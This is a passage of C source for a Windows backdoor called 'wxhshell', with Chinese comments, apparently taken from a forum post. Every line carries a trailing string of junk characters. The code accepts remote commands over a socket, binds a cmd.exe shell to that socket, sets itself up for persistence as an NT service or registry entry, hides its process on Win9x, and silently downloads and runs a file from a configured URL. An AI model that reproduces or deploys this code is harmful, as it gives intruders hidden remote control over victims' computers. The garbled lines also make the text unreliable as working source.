  else { yM17H\=  
C 38XQLC  
    switch(cmd[0]) { `(T!>QVW+g  
  4 m $sJ  
  // 帮助 SY8U"Qc;9  
  case '?': { R9E6uz.j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X!7Xg  
    break; }z{wQ\  
  } '_E c_F  
  // 安装 ^6&_| f  
  case 'i': { UC#"=Xd 4  
    if(Install()) <[5#c*A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u2,H ]-  
    else $P_x v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~bFdJj 1*  
    break; =VCQ*  
    } p\ok_*b  
  // 卸载 eEie?#Z/6  
  case 'r': { %xh?!s|G(  
    if(Uninstall()) uf?b%:A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wa}"SqYr h  
    else :5<#X8>d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HYFN?~G  
    break; g`.{K"N>!  
    } kpWzMd &RK  
  // 显示 wxhshell 所在路径 L B<UC?e  
  case 'p': { wJ(8}eI  
    char svExeFile[MAX_PATH]; "_oLe;?$c  
    strcpy(svExeFile,"\n\r"); .SBc5KX  
      strcat(svExeFile,ExeFile); $ %;jk  
        send(wsh,svExeFile,strlen(svExeFile),0); Wa{%0inZ  
    break; hJ4S3b  
    } r?]%d!   
  // 重启 #O><A&FrF`  
  case 'b': { s%bUgO%&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cyHhy_~R  
    if(Boot(REBOOT)) u:eW0Ows"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [^Q&suy  
    else { .CvFE~  
    closesocket(wsh); +|M{I= 8  
    ExitThread(0); 8LeK wb  
    } P_mi)@  
    break; fYs?D+U;PF  
    } p&m ^IWD  
  // 关机 _Z0\`kba+  
  case 'd': { K~$35c3M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YVJ+' A=|  
    if(Boot(SHUTDOWN)) uYY=~o[ Tw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M(NH9EE  
    else { +yiU@K).0  
    closesocket(wsh); [}@n*D$  
    ExitThread(0); 7NeDs$  
    } BZ}`4W'  
    break; =_uol8v  
    } %L28$c3p  
  // 获取shell 6g8M7<og9R  
  case 's': { J/= +r0c  
    CmdShell(wsh); `fLfT'  
    closesocket(wsh); s v6INe:  
    ExitThread(0); ` -yhl3si  
    break; XS3{R   
  } <TL])@da  
  // 退出 .byc;9M%  
  case 'x': { {GAsFnZk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eC.w?(RB  
    CloseIt(wsh); C1n? ?Y[  
    break; J/L)3y   
    } n}42'9p  
  // 离开 Rnz8 f}  
  case 'q': { QaIi.* tic  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X1O65DMr`g  
    closesocket(wsh); FF8WTuzB+  
    WSACleanup(); 3g^IXm:K$  
    exit(1); _ \_3s  
    break; &^AzIfX}Gw  
        }  )Kxs@F  
  } rA[nUJ,  
  } @Ap@m6K?q  
>y&[BB7S6  
  // 提示信息 bJANZn|H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H&w(]PDh  
} 8 f|9W%jt  
  } Z4=_k{*  
N'I?fWN!;R  
  return; P Q6T| >  
} r$94J'_  
}{P&idkv  
// shell模块句柄 _F! :(@}  
int CmdShell(SOCKET sock) )hePN4edj  
{ SnH:(tO[X  
STARTUPINFO si; loml.e=87  
ZeroMemory(&si,sizeof(si)); rve7YS'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jM{qRfOrg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \MfR #k0  
PROCESS_INFORMATION ProcessInfo; |:~("rA+v  
char cmdline[]="cmd"; *QMF <ze  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f S(^["*G  
  return 0; 6'S5sRA  
} YCtIeq%  
`MN&(!&C*  
// 自身启动模式 .%|OGl ?  
int StartFromService(void) { +i;e]c  
{ ^H f+du  
typedef struct @ARAX\F  
{ "K9vm^xP  
  DWORD ExitStatus; UDhwnGTq(l  
  DWORD PebBaseAddress; _HSTiJVr  
  DWORD AffinityMask; 8h55$j  
  DWORD BasePriority; y.L|rRe@P  
  ULONG UniqueProcessId; Wh#os,U$  
  ULONG InheritedFromUniqueProcessId; ,| $|kO/  
}   PROCESS_BASIC_INFORMATION; KteZK.+#:  
L&+% Wd~  
PROCNTQSIP NtQueryInformationProcess; 1"mnzbf8*  
AaJ,=eQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @SX%? mk8G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iuvtj]/  
WiPM <'  
  HANDLE             hProcess; ;}UIj{sj*  
  PROCESS_BASIC_INFORMATION pbi; 3(oZZz  
I8E\'`:<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  f'7 d4  
  if(NULL == hInst ) return 0; .Y=Z!Q  
{s9y@c*15.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); : OS mr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Dx9$H++6$X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | 7t=\  
)Mm;9UA  
  if (!NtQueryInformationProcess) return 0; S jC)6mo  
(ouRf;\6$8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wz*)L (pP  
  if(!hProcess) return 0; |H3?ox*  
+z~ !#j4Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X3&SL~&>g  
hlABu)B'1  
  CloseHandle(hProcess); j TB<E=WC  
%fex uy4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wN/*|?`Z  
if(hProcess==NULL) return 0; G}Qk!r  
d()zW7}W  
HMODULE hMod; =R"Eb1  
char procName[255]; S)Ub/`f{s  
unsigned long cbNeeded; b |o`Q7Hj  
yg-L^`t+B5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %zIl_/s  
S'v V"  
  CloseHandle(hProcess); y \mutm  
a:(: :m  
if(strstr(procName,"services")) return 1; // 以服务启动 "(HA9:  
|wyJh"4!  
  return 0; // 注册表启动 b a1$kU  
} l,^i5t'  
8Izn'>"  
// 主模块 V PLCic,T  
int StartWxhshell(LPSTR lpCmdLine) VR5e CJ:i  
{ }uV?  
  SOCKET wsl; EL2hD$  
BOOL val=TRUE;  YiY&; )w  
  int port=0; 2Be?5+  
  struct sockaddr_in door; JsWq._O{/  
W>t&N  
  if(wscfg.ws_autoins) Install(); 1DI"LIL  
R9|2&pfm(M  
port=atoi(lpCmdLine); 3_R   
3<~2"@J  
if(port<=0) port=wscfg.ws_port; QTrlQH&p  
3& fIO  
  WSADATA data; u+I r:k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /w}B07.  
D=q;+,Pc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O[5_ 9W 4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d-#u/{jG)  
  door.sin_family = AF_INET; #*7/05)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FJwZo}<6E  
  door.sin_port = htons(port); mV! @oNCK  
~T p8>bmSR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f>"!-3  
closesocket(wsl); c],frhmyd  
return 1; 67K RM(S  
} 9$\;voo  
Gn2bZ%l  
  if(listen(wsl,2) == INVALID_SOCKET) { Ma*dIwEp  
closesocket(wsl); nDoiG#N0  
return 1; ?( dYW7S  
} #$vhC u<I  
  Wxhshell(wsl); "Wn?8vR  
  WSACleanup(); P!4{#'_}  
fEv<W  
return 0; +ia(%[  
n.)[MC}  
} Fv7%TK{oe  
44fq1<.K  
// 以NT服务方式启动 _:fO)gs|1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D-b2E6 o6  
{ GJ^]ER-K  
DWORD   status = 0; hB GGs  
  DWORD   specificError = 0xfffffff; *n|0\V<  
tci%=3,)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HC;I0&v>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kT } '"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jhEg#Q$  
  serviceStatus.dwWin32ExitCode     = 0; Jq+$_Uqd  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Dii?P  
  serviceStatus.dwCheckPoint       = 0; :(?hLH.W[  
  serviceStatus.dwWaitHint       = 0; rO?x/{;ai  
$b i_i|?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D @4&@>  
  if (hServiceStatusHandle==0) return; ~b6<uRnM.  
k vgs $  
status = GetLastError(); Y +_5"LV  
  if (status!=NO_ERROR) 7N59B z  
{ dD.d?rnZq7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uZiY<(X  
    serviceStatus.dwCheckPoint       = 0; U)I `:J+A  
    serviceStatus.dwWaitHint       = 0; C +?@iMh  
    serviceStatus.dwWin32ExitCode     = status; D8D!16_  
    serviceStatus.dwServiceSpecificExitCode = specificError; +^&v5[$R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T m@1q!G  
    return; \gI:`>- x  
  } iP? ASqo{  
ID)gq_k[8,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -C'X4C+  
  serviceStatus.dwCheckPoint       = 0; c%LB|(@j{  
  serviceStatus.dwWaitHint       = 0; g<T`F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QY\wQjwuW  
} dj'8x48H2W  
 n wZr3r  
// 处理NT服务事件,比如:启动、停止 )Y,?r[4{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {EoyMJgz  
{ noUZ9M|hz  
switch(fdwControl) ,I&0#+}n  
{ 548 [! p4  
case SERVICE_CONTROL_STOP: 3P^gP32  
  serviceStatus.dwWin32ExitCode = 0; )x:j5{>(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tj^:SW.0  
  serviceStatus.dwCheckPoint   = 0; S_ -QvG2  
  serviceStatus.dwWaitHint     = 0; };|PFWs  
  { =@jMx^A"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %`\_l  
  } mv%:[+!  
  return; ,pa&he  
case SERVICE_CONTROL_PAUSE: |Q)w3\S$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t-4 R7`A<  
  break; JJHvj=9'o  
case SERVICE_CONTROL_CONTINUE: %Rsf6rJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =Wy`X0h  
  break; ! 7*_Z=  
case SERVICE_CONTROL_INTERROGATE: `i)ePiE  
  break; ?5YmE(v7  
}; Oc/_ T>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lQ<n dt~  
} zI:5I@ X  
d,rEEc Y  
// 标准应用程序主函数 *JC{G^|Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C.B}Py+   
{ WKIiJ{@L  
.SV3<)  
// 获取操作系统版本 X@AkA9'fq  
OsIsNt=GetOsVer(); s^?sJUj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qD%&\ZT  
-b>O4_N  
  // 从命令行安装 n `T[eb~  
  if(strpbrk(lpCmdLine,"iI")) Install(); NDa|.,  
0G\myv  
  // 下载执行文件 KJ^GUqVl  
if(wscfg.ws_downexe) { =U7D}n hS-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9H%xZ(`vN  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y$$?8xr ~  
} 2l(j 4~g  
AW&s-b%P  
if(!OsIsNt) { l 75{JxZX  
// 如果时win9x,隐藏进程并且设置为注册表启动 O-lh\9{'R  
HideProc(); ;6 qdOD6  
StartWxhshell(lpCmdLine); *;yMD-=  
} o4 g  
else {ZM2WFpE  
  if(StartFromService()) zu*G4?]~h  
  // 以服务方式启动 e, 0I~:  
  StartServiceCtrlDispatcher(DispatchTable); 6N+)LF}P b  
else F4<2.V)#-  
  // 普通方式启动 G1^!ej  
  StartWxhshell(lpCmdLine); %PdYv _5  
MVv^KezD  
return 0; M@X#[w:  
}
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只看该作者 1 发表于: 2006-10-10
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